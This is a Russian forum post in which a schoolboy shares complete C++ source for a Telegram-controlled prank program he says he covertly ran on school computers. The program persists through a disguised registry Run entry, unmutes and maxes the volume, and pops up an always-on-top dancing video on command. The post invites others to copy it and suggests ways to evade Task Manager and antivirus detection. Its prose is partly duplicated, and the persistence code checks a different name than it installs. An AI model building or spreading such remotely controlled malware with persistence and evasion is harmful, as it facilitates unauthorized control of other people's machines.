Я сидел на уроке и осознал, что этот мир явно слишком скучен, поэтому я решил все изменить,
добавив к скуке еще и раздражение хвхвхв
Идея состояла в том, что мое приложение принимает команду начала мутки и запускает
функцию, выводящую на экран танец Рикардо Милоса под громкие гачи звуки. Wee Wee 300 bucks и всякое поинтереснее
Программу я написал на С++, так как это был единственный транслируемый язык, который я знал на момент написания проги
Из библиотек я использовал SFML для покадрового выведения Милоса, её же я использовал для воспроизведения звука.
Также я использовал tgbot-cpp для отправки команд и получения записанного в ходе ора звука.
Для отправки команд я создал группу в тг, закинул туда всех ботов
Ща покажу код, если кому интересно или хочется намутить что-то такое же, тут ведь много таких же школьников недохацкеров хвхвхвх
Автозапуск палится в диспетчере задач, так и спалили мою программу, но к этому моменту я уже успел
позлить юзеров школьных компов, хотя многие сочли прогру забавной.
Можно сделать автозапуск службой, чтобы избежать пали из диспетчера задач.
Программа сильно палевная, можно сделать шифрование токенов, хранить их в бинарном виде,
зашифровать кадры и звуки или засунуть их подальше, я не особо шарю в этом. Про палевность с токенами и id чата я ничего не знаю
Усе
добавив к скуке еще и раздражение хвхвхв
Идея состояла в том, что мое приложение принимает команду начала мутки и запускает
функцию, выводящую на экран танец Рикардо Милоса под громкие гачи звуки. Wee Wee 300 bucks и всякое поинтереснее
Программу я написал на С++, так как это был единственный транслируемый язык, который я знал на момент написания проги
Из библиотек я использовал SFML для покадрового выведения Милоса, её же я использовал для воспроизведения звука.
Также я использовал tgbot-cpp для отправки команд и получения записанного в ходе ора звука.
Для отправки команд я создал группу в тг, закинул туда всех ботов
Ща покажу код, если кому интересно или хочется намутить что-то такое же, тут ведь много таких же школьников недохацкеров хвхвхвх
C++:
#include <tgbot/tgbot.h>//для получения команд
#include <SFML/Audio.hpp>//Для воспроизведения звука
#include <mmdeviceapi.h>//Эти две библиотеки нужны для отключения mute
#include <endpointvolume.h>// и увеличения звука до 100
#include <SFML/Graphics.hpp>//Для создания окна и рендеринга кадров
#include <thread>//Чтобы отделить поток окна от потока следящего за командами
#include <chrono>//для муток с временем
#include <random>//нужно, чтобы перемещать окно в рандомное место
#include <filesystem>//нужно для нахождения пути к exe
#include <wininet.h>//для проверки подключения к инету
#pragma comment(lib, "wininet.lib")
namespace fs = std::filesystem;
std::string getPathToExe() {//функция возвращает путь к exe, не включая сам exe
wchar_t buffer[MAX_PATH];
GetModuleFileName(NULL, buffer, MAX_PATH);
fs::path path(buffer);
return path.parent_path().string() + "\\";
}
std::string pathToExe = getPathToExe();
void DisableMute() {//убирает mute
CoInitialize(nullptr);
IMMDeviceEnumerator* pEnum = nullptr;
IMMDevice* pDevice = nullptr;
IAudioEndpointVolume* pVolume = nullptr;
if (SUCCEEDED(CoCreateInstance(__uuidof(MMDeviceEnumerator), nullptr, CLSCTX_ALL, __uuidof(IMMDeviceEnumerator), (void**)&pEnum)) &&
SUCCEEDED(pEnum->GetDefaultAudioEndpoint(eRender, eConsole, &pDevice)) &&
SUCCEEDED(pDevice->Activate(__uuidof(IAudioEndpointVolume), CLSCTX_ALL, nullptr, (void**)&pVolume))) {
BOOL isMuted;
if (SUCCEEDED(pVolume->GetMute(&isMuted)) && isMuted) {
pVolume->SetMute(FALSE, nullptr);
}
pVolume->Release();
}
if (pDevice) pDevice->Release();
if (pEnum) pEnum->Release();
CoUninitialize();
}
void SetGlobalVolume(float volumeLevel) {//ставит звук на указанный уровень
CoInitialize(nullptr);
IMMDeviceEnumerator* pEnum = nullptr;
IMMDevice* pDevice = nullptr;
IAudioEndpointVolume* pVolume = nullptr;
if (SUCCEEDED(CoCreateInstance(__uuidof(MMDeviceEnumerator), nullptr, CLSCTX_ALL, __uuidof(IMMDeviceEnumerator), (void**)&pEnum)) &&
SUCCEEDED(pEnum->GetDefaultAudioEndpoint(eRender, eConsole, &pDevice)) &&
SUCCEEDED(pDevice->Activate(__uuidof(IAudioEndpointVolume), CLSCTX_ALL, nullptr, (void**)&pVolume))) {
pVolume->SetMasterVolumeLevelScalar(volumeLevel, nullptr);
pVolume->Release();
}
if (pDevice) pDevice->Release();
if (pEnum) pEnum->Release();
CoUninitialize();
}
int getRandomNumber(int start, int end) {//функция для получения рандомного числа
std::random_device rd;
std::mt19937 gen(rd());
std::uniform_int_distribution<> dist(start, end);
int random_number = dist(gen);
return random_number;
}
bool checkInternetConnection() {
// Проверяем доступ к общедоступному ресурсу Microsoft или google я юзал так
//такой метод вроде как не рекомендуется, но у меня работало, так что я не парился
if (InternetCheckConnection(L"Microsoft – официальная домашняя страница", FLAG_ICC_FORCE_CONNECTION, 0)) {
return true; // Инет есть
}
else {
return false; // Инета нет
}
}
void gachi() {
std::string pathToRicardo = pathToExe + "Ricardo";//путь к папке с кадрами рикардо
std::string pathToSounds = pathToExe + "Sounds";//путь к папке с звуками
std::vector<sf::Texture> textures;//подгрузка текстур
for (auto& i : fs::directory_iterator(pathToRicardo)) {
sf::Texture texture;
if (texture.loadFromFile(i.path().string())) {
textures.push_back(texture);
}
}
std::vector<sf::SoundBuffer> sounds;//подгрузка звуков
for (auto& i : fs::directory_iterator(pathToSounds)) {
sf::SoundBuffer soundBuffer;
if (soundBuffer.loadFromFile(i.path().string())) {
sounds.push_back(soundBuffer);
}
}
sf::RenderWindow window(sf::VideoMode(600, 600),"", sf::Style::None);
int screenWidth = GetSystemMetrics(SM_CXSCREEN);
int screenHeight = GetSystemMetrics(SM_CYSCREEN);
window.setPosition(sf::Vector2i(getRandomNumber(0, screenWidth - 601), getRandomNumber(0, screenHeight - 601)));
HWND hwnd = window.getSystemHandle();
SetWindowPos(hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
window.setFramerateLimit(30);
sf::Sound sound(sounds[getRandomNumber(0, sounds.size() - 1)]);
int n = 0;
int texturesSize = textures.size();
DisableMute();
SetGlobalVolume(1.f);
sound.play();
while (window.isOpen()) {
if (n >= texturesSize)n = 0;
if (n == 50) {
DisableMute();
SetGlobalVolume(1.f);
}
sf::Sprite sprite(textures[n]);
window.clear();
window.draw(sprite);
window.display();
n++;
if (sound.getStatus() != sf::Sound::Playing)window.close();
}
}
std::string getTokenFromFile() {
std::string filename = "token.txt";
std::ifstream file(pathToExe + filename);
std::string token;
while (std::getline(file, token)) {
file.close();
return token;
}
}
bool isRecent(int64_t time) {//проверяет, чтобы команды были не старше 5 минут
auto now = std::chrono::system_clock::now();
auto messageTime = std::chrono::system_clock::from_time_t(static_cast<time_t>(time));
auto duration = std::chrono::duration_cast<std::chrono::minutes>(now - messageTime);
return duration.count() <= 5;
}
void getChatId(std::string token) {//добавляешь бота в группу и отправляешь команду
TgBot::Bot bot(token);
bot.getEvents().onCommand("getId", [&bot](TgBot::Message::Ptr m) {
if (isRecent(m->date)) {
std::cout << m->chat->id << std::endl;//выводит id чата
}
});
TgBot::TgLongPoll longpoll(bot);
while (true) {
longpoll.start();
}
}
void tgbot() {
TgBot::Bot bot(getTokenFromFile());
int64_t chatid = -1000000000000000;//какое-то отрицательное число
bot.getApi().sendMessage(chatid, "ready to zateat mutku");//отправляет уведомление о готовности работы
bot.getEvents().onCommand("ready", [&bot, &chatid](TgBot::Message::Ptr message){
//эта команда проверяет готов ли комп орать без самого ора
if (isRecent(message->date)) {
bot.getApi().sendMessage(chatid, "ready to zateat mutku");
}
});
bot.getEvents().onCommand("gachi", [&bot](TgBot::Message::Ptr message) {
if (isRecent(message->date)) {
std::thread t(gachi);
t.detach();//без отделения потока функции при нажатии на окно программа тормозит
}
});
TgBot::TgLongPoll longpoll(bot);
while (true) {
longpoll.start();
}
}
bool addToStartup() {//такой автозапуск палит любой антивирус, но можно добавить исключение или намутить еще что нить
HKEY hKey;
wchar_t exePath[MAX_PATH];
if (GetModuleFileNameW(NULL, exePath, MAX_PATH) == 0) {
return false;
}
const std::wstring appName = L"WinSysApi"; // Название программы
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey) != ERROR_SUCCESS) {
return false;
}
if (RegSetValueExW(hKey, appName.c_str(), 0, REG_SZ, reinterpret_cast<const BYTE*>(exePath), (wcslen(exePath) + 1) * sizeof(wchar_t)) != ERROR_SUCCESS) {
RegCloseKey(hKey);
return false;
}
RegCloseKey(hKey);
return true;
}
// Функция для проверки автозапуска
bool isProgramInStartup() {
HKEY hKey;
const std::wstring appName = L"WinHidenMutki"; // Название программы
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_READ, &hKey) != ERROR_SUCCESS) {
return false;
}
wchar_t buffer[1024];
DWORD bufferSize = sizeof(buffer);
if (RegQueryValueExW(hKey, appName.c_str(), 0, NULL, reinterpret_cast<BYTE*>(buffer), &bufferSize) == ERROR_SUCCESS) {
RegCloseKey(hKey);
return true;
}
RegCloseKey(hKey);
return false;
}
int main() {
if (!isProgramInStartup()){//проверка на автозапуск
addToStartup();
}
while (true) {
try {
if (checkInternetConnection()) {//можно просто пытаться использовать tgbot без проверок
tgbot();
}
}
catch (std::exception & e) {
std::this_thread::sleep_for(std::chrono::minutes(1));
}
}
return 0;
}
Автозапуск палится в диспетчере задач, так и спалили мою программу, но к этому моменту я уже успел
позлить юзеров школьных компов, хотя многие сочли прогру забавной.
Можно сделать автозапуск службой, чтобы избежать пали из диспетчера задач.
Программа сильно палевная, можно сделать шифрование токенов, хранить их в бинарном виде,
зашифровать кадры и звуки или засунуть их подальше, я не особо шарю в этом. Про палевность с токенами и id чата я ничего не знаю
Усе